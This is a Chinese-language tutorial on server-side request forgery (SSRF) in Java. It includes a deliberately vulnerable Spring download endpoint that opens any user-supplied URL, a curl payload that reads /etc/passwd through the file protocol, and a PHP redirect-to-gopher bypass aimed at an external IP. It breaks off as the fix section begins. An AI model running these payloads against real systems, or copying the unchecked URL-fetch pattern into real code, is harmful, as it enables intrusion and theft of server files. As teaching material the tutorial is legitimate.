SSRF in JAVA

本文主要说明Java的SSRF的漏洞代码、利用方式、如何修复。
网络上对Java的SSRF介绍较少,甚至还有很多误区。

漏洞简介

SSRF(Server-side Request Forge, 服务端请求伪造)。
由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。

漏洞利用

网络请求支持的协议

由于Java没有php的cURL,所以Java SSRF支持的协议,不能像php使用curl -V查看。

Java网络请求支持的协议可通过下面几种方法检测:

import sun.net.www.protocol可以看到,支持以下协议

file ftp mailto http https jar netdoc

发起网络请求的类

当然,SSRF是由发起网络请求的方法造成。所以先整理Java能发起网络请求的类。

如果发起网络请求的类是带HTTP开头,那只支持HTTP、HTTPS协议。

比如:

HttpURLConnection
HttpClient

所以,如果用以下类的方法发起请求,则支持sun.net.www.protocol所有协议

URLConnection
URL

漏洞代码

使用URL类的openStream发起网络请求造成的SSRF(Java Web代码)。
代码功能是远程下载文件并下载。

/**
 * Author: JoyChou
 * Date: 17/4/1
 */

import org.springframework.boot.*;
import org.springframework.boot.autoconfigure.*;
import org.springframework.stereotype.*;
import org.springframework.web.bind.annotation.*;

import java.io.InputStream;
import java.io.OutputStream;
import com.google.common.io.Files;
import org.apache.commons.lang.StringUtils;

import java.net.URL;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;

@Controller
@EnableAutoConfiguration
public class SecController {
    @RequestMapping("/")
    @ResponseBody
    String home() {
        return "Hello World!";
    }

    @RequestMapping("/download")
    @ResponseBody
    public void downLoadImg(HttpServletRequest request, HttpServletResponse response) throws IOException{
        try {
            String url = request.getParameter("url");
            if (StringUtils.isBlank(url)) {
                throw new IllegalArgumentException("url异常");
            }
            downLoadImg(response, url);
        }catch (Exception e) {
            throw new IllegalArgumentException("异常");
        }
    }
    private void downLoadImg (HttpServletResponse response, String url) throws IOException {
        InputStream inputStream = null;
        OutputStream outputStream = null;
        try {
            String downLoadImgFileName = Files.getNameWithoutExtension(url) + "." +Files.getFileExtension(url);
            response.setHeader("content-disposition", "attachment;fileName=" + downLoadImgFileName);

            URL u;
            int length;
            byte[] bytes = new byte[1024];
            u = new URL(url);
            inputStream = u.openStream();
            outputStream = response.getOutputStream();
            while ((length = inputStream.read(bytes)) > 0) {
                outputStream.write(bytes, 0, length);
            }

        }catch (Exception e) {
            e.printStackTrace();
        }finally {
            if (inputStream != null) {
                inputStream.close();
            }
            if (outputStream != null) {
                outputStream.close();
            }

        }
    }

    public static void main(String[] args) throws Exception {
        SpringApplication.run(SecController.class, args);
    }
}

利用方式:

# 利用file协议查看任意文件

curl -v 'http://localhost:8080/download?url=file:///etc/passwd'

尝试发起gopher协议,收到异常:

java.net.MalformedURLException: unknown protocol: gopher

所以,除了上面的协议都不支持。

那尝试使用302跳转到gopher进行bypass。

先在一台vps上写一个302.php,如果发生跳转,那么35.185.163.134的2333端口将会收到请求。

PS:Java默认会URL重定向。

<?php
$url = 'gopher://35.185.163.134:2333/_joy%0achou';
header("location: $url");
?>

访问payload

http://localhost:8080/download?url=http://joychou.me/302.php

收到异常:

java.net.MalformedURLException: unknown protocol: gopher

跟踪报错代码:

    private boolean followRedirect() throws IOException {
        if(!this.getInstanceFollowRedirects()) {
            return false;
        } else {
            final int var1 = this.getResponseCode();
            if(var1 >= 300 && var1 <= 307 && var1 != 306 && var1 != 304) {
                final String var2 = this.getHeaderField("Location");
                if(var2 == null) {
                    return false;
                } else {
                    URL var3;
                    try {
                        // 该行代码发生异常,var2变量值为`gopher://35.185.163.134:2333/_joy%0achou`
                        var3 = new URL(var2);
                        /* 该行代码,表示传入的协议必须和重定向的协议一致
                         * 即http://joychou.me/302.php的协议必须和gopher://35.185.163.134:2333/_joy%0achou一致
                         */
                        if(!this.url.getProtocol().equalsIgnoreCase(var3.getProtocol())) {
                            return false;
                        }
                    } catch (MalformedURLException var8) {
                        var3 = new URL(this.url, var2);
                    }

从上面的followRedirect方法可以看到:

所以,Java的SSRF利用方式比较局限

其他的几个SSRF漏洞代码:

URLConnection和HttpURLConnection类造成的SSRF(Java应用代码)

    public static void ssrfURLConnection()
    {
        try
        {
            InputStream inputStream = null;
            String uri = "gopher://127.0.0.1:8080";

            URL url = new URL(uri); // 使用非法协议,构造函数会报错
            System.out.println(url.getProtocol());
            URLConnection urlConnection = url.openConnection();
            BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));
            String inputLine;
            StringBuffer html = new StringBuffer();

            while ((inputLine = in.readLine()) != null) {
                html.append(inputLine);
            }
            in.close();

            System.out.println("URL Content: \n" + html.toString());
            System.out.println("Done");
            System.out.println("协议为:" + url.getProtocol());
        }catch(Exception e)
        {
            e.printStackTrace();
        }
    }

HttpClient类造成的SSRF (Java应用代码):

    public static void ssrfHttpClient()
    {
        
        String url = "http://127.0.0.1";
        CloseableHttpClient client = HttpClients.createDefault();
        HttpGet httpGet = new HttpGet(url);
        HttpResponse httpResponse;
        try {
            // 该行代码发起网络请求
            httpResponse = client.execute(httpGet);

            System.out.println("\nSending 'GET' request to URL : " + url);
            System.out.println("Response Code : " +
                    httpResponse.getStatusLine().getStatusCode());

            BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent()));

            StringBuffer result = new StringBuffer();
            String line = "";
            while ((line = rd.readLine()) != null) {
                result.append(line);
            }

            System.out.println(result.toString());
        }catch (Exception e) {
            e.printStackTrace();
        }

    }

漏洞修复

那么,根据利用的方式,修复方法就比较简单。